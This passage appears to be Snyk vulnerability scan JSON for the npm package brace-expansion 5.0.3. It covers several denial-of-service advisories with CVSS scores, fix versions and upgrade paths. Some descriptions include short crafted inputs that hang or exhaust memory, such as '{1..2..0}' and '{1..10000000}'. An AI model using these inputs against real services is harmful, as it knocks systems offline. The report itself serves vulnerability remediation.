pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub 